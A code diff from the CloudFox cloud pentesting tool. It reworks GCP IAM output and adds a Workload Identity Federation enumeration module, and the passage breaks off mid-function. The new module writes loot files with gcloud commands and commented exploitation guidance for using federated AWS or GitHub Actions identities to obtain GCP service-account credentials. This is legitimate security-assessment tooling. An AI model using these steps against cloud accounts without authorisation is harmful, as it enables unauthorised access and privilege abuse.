totalRows := 0
|
||||
for _, t := range tables {
|
||||
totalRows += len(t.Body)
|
||||
}
|
||||
|
||||
if orgID != "" && totalRows >= 50000 {
|
||||
m.writeHierarchicalOutputTee(ctx, logger, orgID, tables, lootFiles)
|
||||
return
|
||||
}
|
||||
|
||||
// Standard output path for smaller datasets
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
if orgID != "" {
|
||||
// DUAL OUTPUT: Complete aggregated output at org level
|
||||
tables := m.buildTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
outputData.OrgLevelData[orgID] = IAMOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
// DUAL OUTPUT: Filtered per-project output
|
||||
// DUAL OUTPUT: Filtered per-project output (with inherited loot)
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
projectTables := m.buildTablesForProject(projectID)
|
||||
projectLoot := m.collectLootFilesForProject(projectID)
|
||||
if len(projectTables) > 0 && len(projectTables[0].Body) > 0 {
|
||||
outputData.ProjectLevelData[projectID] = IAMOutput{Table: projectTables, Loot: nil}
|
||||
outputData.ProjectLevelData[projectID] = IAMOutput{Table: projectTables, Loot: projectLoot}
|
||||
}
|
||||
}
|
||||
} else if len(m.ProjectIDs) > 0 {
|
||||
// FALLBACK: No org discovered, output complete data to first project
|
||||
tables := m.buildTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
outputData.ProjectLevelData[m.ProjectIDs[0]] = IAMOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
@@ -829,6 +1001,83 @@ func (m *IAMModule) writeHierarchicalOutput(ctx context.Context, logger internal
|
||||
}
|
||||
}
|
||||
|
||||
// writeHierarchicalOutputTee uses single-pass streaming for large datasets.
|
||||
func (m *IAMModule) writeHierarchicalOutputTee(ctx context.Context, logger internal.Logger, orgID string, tables []internal.TableFile, lootFiles []internal.LootFile) {
|
||||
totalRows := 0
|
||||
for _, t := range tables {
|
||||
totalRows += len(t.Body)
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Using single-pass tee streaming for %d rows", totalRows), globals.GCP_IAM_MODULE_NAME)
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
// Build reverse lookup: for each folder, which projects are under it
|
||||
folderToProjects := make(map[string][]string)
|
||||
orgToProjects := make(map[string][]string)
|
||||
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Get the org this project belongs to
|
||||
projectOrgID := m.OrgCache.GetProjectOrgID(projectID)
|
||||
if projectOrgID != "" {
|
||||
orgToProjects[projectOrgID] = append(orgToProjects[projectOrgID], projectID)
|
||||
}
|
||||
|
||||
// Get all ancestor folders for this project
|
||||
ancestorFolders := m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
for _, folderID := range ancestorFolders {
|
||||
folderToProjects[folderID] = append(folderToProjects[folderID], projectID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Create a row router that routes based on scope type and OrgCache
|
||||
rowRouter := func(row []string) []string {
|
||||
// Row format: [ScopeType, ScopeID, ScopeName, ...]
|
||||
scopeType := row[0]
|
||||
scopeID := row[1]
|
||||
|
||||
switch scopeType {
|
||||
case "project":
|
||||
// Direct project binding - route to that project only
|
||||
return []string{scopeID}
|
||||
case "organization":
|
||||
// Org binding - route to all projects under this org
|
||||
if projects, ok := orgToProjects[scopeID]; ok {
|
||||
return projects
|
||||
}
|
||||
return m.ProjectIDs
|
||||
case "folder":
|
||||
// Folder binding - route to all projects under this folder
|
||||
if projects, ok := folderToProjects[scopeID]; ok {
|
||||
return projects
|
||||
}
|
||||
return m.ProjectIDs
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
config := internal.TeeStreamingConfig{
|
||||
OrgID: orgID,
|
||||
ProjectIDs: m.ProjectIDs,
|
||||
Tables: tables,
|
||||
LootFiles: lootFiles,
|
||||
ProjectLootCollector: m.collectLootFilesForProject,
|
||||
RowRouter: rowRouter,
|
||||
PathBuilder: pathBuilder,
|
||||
Format: m.Format,
|
||||
Verbosity: m.Verbosity,
|
||||
Wrap: m.WrapTable,
|
||||
}
|
||||
|
||||
err := internal.HandleHierarchicalOutputTee(config)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing tee streaming output: %v", err), globals.GCP_IAM_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds tables filtered to only include data for a specific project
|
||||
func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
header := []string{
|
||||
@@ -838,7 +1087,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
"Member Type",
|
||||
"Member",
|
||||
"Role",
|
||||
"High Privilege",
|
||||
"Admin",
|
||||
"Custom Role",
|
||||
"Has Keys",
|
||||
"Condition",
|
||||
@@ -850,15 +1099,43 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
|
||||
var body [][]string
|
||||
|
||||
// Add scope bindings for this project only
|
||||
// Get ancestry data for this project to include org and folder bindings
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
|
||||
// Build a set of ancestor folder IDs for quick lookup
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, folderID := range ancestorFolders {
|
||||
ancestorFolderSet[folderID] = true
|
||||
}
|
||||
|
||||
// Add scope bindings - include project, org, and ancestor folder bindings
|
||||
for _, sb := range m.ScopeBindings {
|
||||
if sb.ScopeType != "project" || sb.ScopeID != projectID {
|
||||
// Check if this binding applies to this project
|
||||
include := false
|
||||
switch sb.ScopeType {
|
||||
case "project":
|
||||
include = sb.ScopeID == projectID
|
||||
case "organization":
|
||||
// Include org bindings if this is the project's org
|
||||
include = projectOrgID != "" && sb.ScopeID == projectOrgID
|
||||
case "folder":
|
||||
// Include folder bindings if folder is in project's ancestry
|
||||
include = ancestorFolderSet[sb.ScopeID]
|
||||
}
|
||||
|
||||
if !include {
|
||||
continue
|
||||
}
|
||||
|
||||
isHighPriv := "No"
|
||||
if highPrivilegeRoles[sb.Role] {
|
||||
isHighPriv = "Yes"
|
||||
// Check admin status from FoxMapper only - shows Org/Folder/Project or No
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sb.MemberEmail)
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
isCustom := "No"
|
||||
@@ -906,7 +1183,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
sb.MemberType,
|
||||
sb.MemberEmail,
|
||||
sb.Role,
|
||||
isHighPriv,
|
||||
adminStatus,
|
||||
isCustom,
|
||||
"-",
|
||||
condition,
|
||||
@@ -938,6 +1215,12 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
groups = strings.Join(memberGroups, ", ")
|
||||
}
|
||||
|
||||
// Check admin status from FoxMapper
|
||||
adminStatus := gcpinternal.GetAdminStatusFromCache(m.FoxMapperCache, sa.Email)
|
||||
if adminStatus == "" {
|
||||
adminStatus = "No"
|
||||
}
|
||||
|
||||
// Check attack paths for this service account
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa.Email)
|
||||
|
||||
@@ -948,7 +1231,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
"ServiceAccountInfo",
|
||||
sa.Email + disabled,
|
||||
sa.DisplayName,
|
||||
"-",
|
||||
adminStatus,
|
||||
"-",
|
||||
hasKeys,
|
||||
"-",
|
||||
@@ -1003,7 +1286,7 @@ func (m *IAMModule) buildTablesForProject(projectID string) []internal.TableFile
|
||||
|
||||
func (m *IAMModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
tables := m.buildTables()
|
||||
lootFiles := m.collectLootFiles()
|
||||
lootFiles := m.collectAllLootFiles()
|
||||
|
||||
// Count security findings for logging
|
||||
publicAccessFound := false
|
||||
|
||||
@@ -0,0 +1,618 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
workloadidentityservice "github.com/BishopFox/cloudfox/gcp/services/workloadIdentityService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPIdentityFederationCommand = &cobra.Command{
|
||||
Use: globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
Aliases: []string{"federation", "wif", "federated-identity"},
|
||||
Short: "Enumerate Workload Identity Federation (external identities)",
|
||||
Long: `Enumerate Workload Identity Federation pools, providers, and federated bindings.
|
||||
|
||||
Workload Identity Federation allows external identities (AWS, GitHub Actions,
|
||||
GitLab CI, Azure AD, etc.) to authenticate as GCP service accounts without
|
||||
using service account keys.
|
||||
|
||||
Features:
|
||||
- Lists Workload Identity Pools and Providers
|
||||
- Analyzes AWS, OIDC (GitHub Actions, GitLab CI), and SAML providers
|
||||
- Identifies risky provider configurations (missing attribute conditions)
|
||||
- Shows federated identity bindings to GCP service accounts
|
||||
- Generates exploitation commands for pentesting
|
||||
|
||||
Security Considerations:
|
||||
- Providers without attribute conditions allow ANY identity from the source
|
||||
- OIDC providers (GitHub Actions, GitLab) may allow any repo/pipeline to authenticate
|
||||
- AWS providers allow cross-account access from the configured AWS account
|
||||
- Federated identities inherit all permissions of the bound GCP service account
|
||||
|
||||
TIP: Run 'workload-identity' to enumerate GKE-specific K8s SA -> GCP SA bindings.
|
||||
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
|
||||
Run: runGCPIdentityFederationCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type IdentityFederationModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
ProjectPools map[string][]workloadidentityservice.WorkloadIdentityPool // projectID -> pools
|
||||
ProjectProviders map[string][]workloadidentityservice.WorkloadIdentityProvider // projectID -> providers
|
||||
ProjectFederatedBindings map[string][]workloadidentityservice.FederatedIdentityBinding // projectID -> federated bindings
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type IdentityFederationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o IdentityFederationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o IdentityFederationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPIdentityFederationCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &IdentityFederationModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectPools: make(map[string][]workloadidentityservice.WorkloadIdentityPool),
|
||||
ProjectProviders: make(map[string][]workloadidentityservice.WorkloadIdentityProvider),
|
||||
ProjectFederatedBindings: make(map[string][]workloadidentityservice.FederatedIdentityBinding),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Execution
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
|
||||
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
|
||||
logger.InfoM("Using FoxMapper cache for attack path analysis", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME, m.processProject)
|
||||
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
if len(allPools) == 0 {
|
||||
logger.InfoM("No Workload Identity Federation configurations found", globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s)",
|
||||
len(allPools), len(allProviders), len(allFederatedBindings)), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
// getAllPools returns all pools from all projects
|
||||
func (m *IdentityFederationModule) getAllPools() []workloadidentityservice.WorkloadIdentityPool {
|
||||
var all []workloadidentityservice.WorkloadIdentityPool
|
||||
for _, pools := range m.ProjectPools {
|
||||
all = append(all, pools...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllProviders returns all providers from all projects
|
||||
func (m *IdentityFederationModule) getAllProviders() []workloadidentityservice.WorkloadIdentityProvider {
|
||||
var all []workloadidentityservice.WorkloadIdentityProvider
|
||||
for _, providers := range m.ProjectProviders {
|
||||
all = append(all, providers...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// getAllFederatedBindings returns all federated bindings from all projects
|
||||
func (m *IdentityFederationModule) getAllFederatedBindings() []workloadidentityservice.FederatedIdentityBinding {
|
||||
var all []workloadidentityservice.FederatedIdentityBinding
|
||||
for _, bindings := range m.ProjectFederatedBindings {
|
||||
all = append(all, bindings...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Project Processor
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Identity Federation in project: %s", projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
|
||||
wiSvc := workloadidentityservice.New()
|
||||
|
||||
// Get Workload Identity Pools
|
||||
allPools, err := wiSvc.ListWorkloadIdentityPools(projectID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list Workload Identity Pools in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
// Filter out GKE Workload Identity pools (*.svc.id.goog) - those belong to the workload-identity module
|
||||
var pools []workloadidentityservice.WorkloadIdentityPool
|
||||
for _, pool := range allPools {
|
||||
if !strings.HasSuffix(pool.PoolID, ".svc.id.goog") {
|
||||
pools = append(pools, pool)
|
||||
}
|
||||
}
|
||||
|
||||
var providers []workloadidentityservice.WorkloadIdentityProvider
|
||||
|
||||
// Get providers for each pool
|
||||
for _, pool := range pools {
|
||||
poolProviders, err := wiSvc.ListWorkloadIdentityProviders(projectID, pool.PoolID)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not list providers for pool %s", pool.PoolID))
|
||||
continue
|
||||
}
|
||||
providers = append(providers, poolProviders...)
|
||||
}
|
||||
|
||||
// Find federated identity bindings
|
||||
fedBindings, err := wiSvc.FindFederatedIdentityBindings(projectID, pools)
|
||||
if err != nil {
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IDENTITY_FEDERATION_MODULE_NAME,
|
||||
fmt.Sprintf("Could not find federated identity bindings in project %s", projectID))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectPools[projectID] = pools
|
||||
m.ProjectProviders[projectID] = providers
|
||||
m.ProjectFederatedBindings[projectID] = fedBindings
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["identity-federation-commands"] = &internal.LootFile{
|
||||
Name: "identity-federation-commands",
|
||||
Contents: "# Identity Federation Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, pool := range pools {
|
||||
m.addPoolToLoot(projectID, pool)
|
||||
}
|
||||
for _, provider := range providers {
|
||||
m.addProviderToLoot(projectID, provider)
|
||||
}
|
||||
for _, fedBinding := range fedBindings {
|
||||
m.addFederatedBindingToLoot(projectID, fedBinding)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Found %d pool(s), %d provider(s), %d federated binding(s) in project %s",
|
||||
len(pools), len(providers), len(fedBindings), projectID), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Loot File Management
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) addPoolToLoot(projectID string, pool workloadidentityservice.WorkloadIdentityPool) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
status := "Active"
|
||||
if pool.Disabled {
|
||||
status = "Disabled"
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ==========================================\n"+
|
||||
"# FEDERATION POOL: %s\n"+
|
||||
"# ==========================================\n"+
|
||||
"# Display Name: %s\n"+
|
||||
"# State: %s (%s)\n"+
|
||||
"# Description: %s\n"+
|
||||
"\n# Describe pool:\n"+
|
||||
"gcloud iam workload-identity-pools describe %s --location=global --project=%s\n\n"+
|
||||
"# List providers:\n"+
|
||||
"gcloud iam workload-identity-pools providers list --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
pool.PoolID,
|
||||
pool.DisplayName,
|
||||
pool.State, status,
|
||||
pool.Description,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
pool.PoolID, pool.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) addProviderToLoot(projectID string, provider workloadidentityservice.WorkloadIdentityProvider) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ------------------------------------------\n"+
|
||||
"# PROVIDER: %s/%s (%s)\n"+
|
||||
"# ------------------------------------------\n",
|
||||
provider.PoolID, provider.ProviderID,
|
||||
provider.ProviderType,
|
||||
)
|
||||
|
||||
if provider.ProviderType == "AWS" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# AWS Account: %s\n", provider.AWSAccountID)
|
||||
} else if provider.ProviderType == "OIDC" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# OIDC Issuer: %s\n", provider.OIDCIssuerURI)
|
||||
}
|
||||
|
||||
if provider.AttributeCondition != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Attribute Condition: %s\n", provider.AttributeCondition)
|
||||
} else {
|
||||
lootFile.Contents += "# Attribute Condition: NONE (any identity from this provider can authenticate!)\n"
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"\n# Describe provider:\n"+
|
||||
"gcloud iam workload-identity-pools providers describe %s --workload-identity-pool=%s --location=global --project=%s\n\n",
|
||||
provider.ProviderID, provider.PoolID, provider.ProjectID,
|
||||
)
|
||||
|
||||
// Add exploitation guidance based on provider type
|
||||
switch provider.ProviderType {
|
||||
case "AWS":
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From AWS account %s, exchange credentials:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# --aws --output-file=gcp-creds.json\n\n",
|
||||
provider.AWSAccountID,
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
case "OIDC":
|
||||
if strings.Contains(provider.OIDCIssuerURI, "github") {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# From GitHub Actions workflow, add:\n"+
|
||||
"# permissions:\n"+
|
||||
"# id-token: write\n"+
|
||||
"# contents: read\n"+
|
||||
"# Then use:\n"+
|
||||
"# gcloud iam workload-identity-pools create-cred-config \\\n"+
|
||||
"# projects/%s/locations/global/workloadIdentityPools/%s/providers/%s \\\n"+
|
||||
"# [email protected] \\\n"+
|
||||
"# --output-file=gcp-creds.json\n\n",
|
||||
provider.ProjectID, provider.PoolID, provider.ProviderID,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) addFederatedBindingToLoot(projectID string, binding workloadidentityservice.FederatedIdentityBinding) {
|
||||
lootFile := m.LootMap[projectID]["identity-federation-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# ------------------------------------------\n"+
|
||||
"# FEDERATED BINDING\n"+
|
||||
"# ------------------------------------------\n"+
|
||||
"# Pool: %s\n"+
|
||||
"# GCP Service Account: %s\n"+
|
||||
"# External Subject: %s\n\n",
|
||||
binding.PoolID,
|
||||
binding.GCPServiceAccount,
|
||||
binding.ExternalSubject,
|
||||
)
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *IdentityFederationModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectPools {
|
||||
tables := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = IdentityFederationOutput{Table: tables, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IdentityFederationModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allPools := m.getAllPools()
|
||||
allProviders := m.getAllProviders()
|
||||
allFederatedBindings := m.getAllFederatedBindings()
|
||||
|
||||
tables := m.buildTables(allPools, allProviders, allFederatedBindings)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := IdentityFederationOutput{
|
||||
Table: tables,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_IDENTITY_FEDERATION_MODULE_NAME)
|
||||
m.CommandCounter.Error++
|
||||
}
|
||||
}
|
||||
|
||||
// buildTablesForProject builds tables for a specific project
|
||||
func (m *IdentityFederationModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
pools := m.ProjectPools[projectID]
|
||||
providers := m.ProjectProviders[projectID]
|
||||
federatedBindings := m.ProjectFederatedBindings[projectID]
|
||||
return m.buildTables(pools, providers, federatedBindings)
|
||||
}
|
||||
|
||||
// buildTables builds all tables from the given data
|
||||
func (m *IdentityFederationModule) buildTables(
|
||||
pools []workloadidentityservice.WorkloadIdentityPool,
|
||||
providers []workloadidentityservice.WorkloadIdentityProvider,
|
||||
federatedBindings []workloadidentityservice.FederatedIdentityBinding,
|
||||
) []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
|
||||
// Pools table
|
||||
if len(pools) > 0 {
|
||||
poolsHeader := []string{
|
||||
"Project",
|
||||
"Pool ID",
|
||||
"Display Name",
|
||||
"State",
|
||||
"Disabled",
|
||||
}
|
||||
|
||||
var poolsBody [][]string
|
||||
for _, pool := range pools {
|
||||
disabled := "No"
|
||||
if pool.Disabled {
|
||||
disabled = "Yes"
|
||||
}
|
||||
poolsBody = append(poolsBody, []string{
|
||||
m.GetProjectName(pool.ProjectID),
|
||||
pool.PoolID,
|
||||
pool.DisplayName,
|
||||
pool.State,
|
||||
disabled,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-pools",
|
||||
Header: poolsHeader,
|
||||
Body: poolsBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Providers table
|
||||
if len(providers) > 0 {
|
||||
providersHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"Provider",
|
||||
"Type",
|
||||
"OIDC Issuer / AWS Account",
|
||||
"Trust Scope",
|
||||
"Access Condition",
|
||||
}
|
||||
|
||||
var providersBody [][]string
|
||||
for _, p := range providers {
|
||||
issuerOrAccount := "-"
|
||||
if p.ProviderType == "AWS" {
|
||||
issuerOrAccount = p.AWSAccountID
|
||||
} else if p.ProviderType == "OIDC" {
|
||||
issuerOrAccount = p.OIDCIssuerURI
|
||||
}
|
||||
|
||||
attrCond := "NONE"
|
||||
if p.AttributeCondition != "" {
|
||||
attrCond = p.AttributeCondition
|
||||
}
|
||||
|
||||
trustScope := analyzeTrustScope(p)
|
||||
|
||||
providersBody = append(providersBody, []string{
|
||||
m.GetProjectName(p.ProjectID),
|
||||
p.PoolID,
|
||||
p.ProviderID,
|
||||
p.ProviderType,
|
||||
issuerOrAccount,
|
||||
trustScope,
|
||||
attrCond,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-providers",
|
||||
Header: providersHeader,
|
||||
Body: providersBody,
|
||||
})
|
||||
}
|
||||
|
||||
// Federated bindings table
|
||||
if len(federatedBindings) > 0 {
|
||||
fedBindingsHeader := []string{
|
||||
"Project",
|
||||
"Pool",
|
||||
"GCP Service Account",
|
||||
"External Identity",
|
||||
"SA Attack Paths",
|
||||
}
|
||||
|
||||
var fedBindingsBody [][]string
|
||||
for _, fb := range federatedBindings {
|
||||
attackPaths := gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, fb.GCPServiceAccount)
|
||||
|
||||
fedBindingsBody = append(fedBindingsBody, []string{
|
||||
m.GetProjectName(fb.ProjectID),
|
||||
fb.PoolID,
|
||||
fb.GCPServiceAccount,
|
||||
fb.ExternalSubject,
|
||||
attackPaths,
|
||||
})
|
||||
}
|
||||
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "identity-federation-bindings",
|
||||
Header: fedBindingsHeader,
|
||||
Body: fedBindingsBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
// analyzeTrustScope examines a provider's configuration and returns a human-readable
|
||||
// summary of how broad the trust is. Flags overly permissive configurations.
|
||||
func analyzeTrustScope(p workloadidentityservice.WorkloadIdentityProvider) string {
|
||||
// No attribute condition = any identity from this provider
|
||||
if p.AttributeCondition == "" {
|
||||
switch p.ProviderType {
|
||||
case "AWS":
|
||||
return "BROAD: Any role in AWS account " + p.AWSAccountID
|
||||
case "OIDC":
|
||||
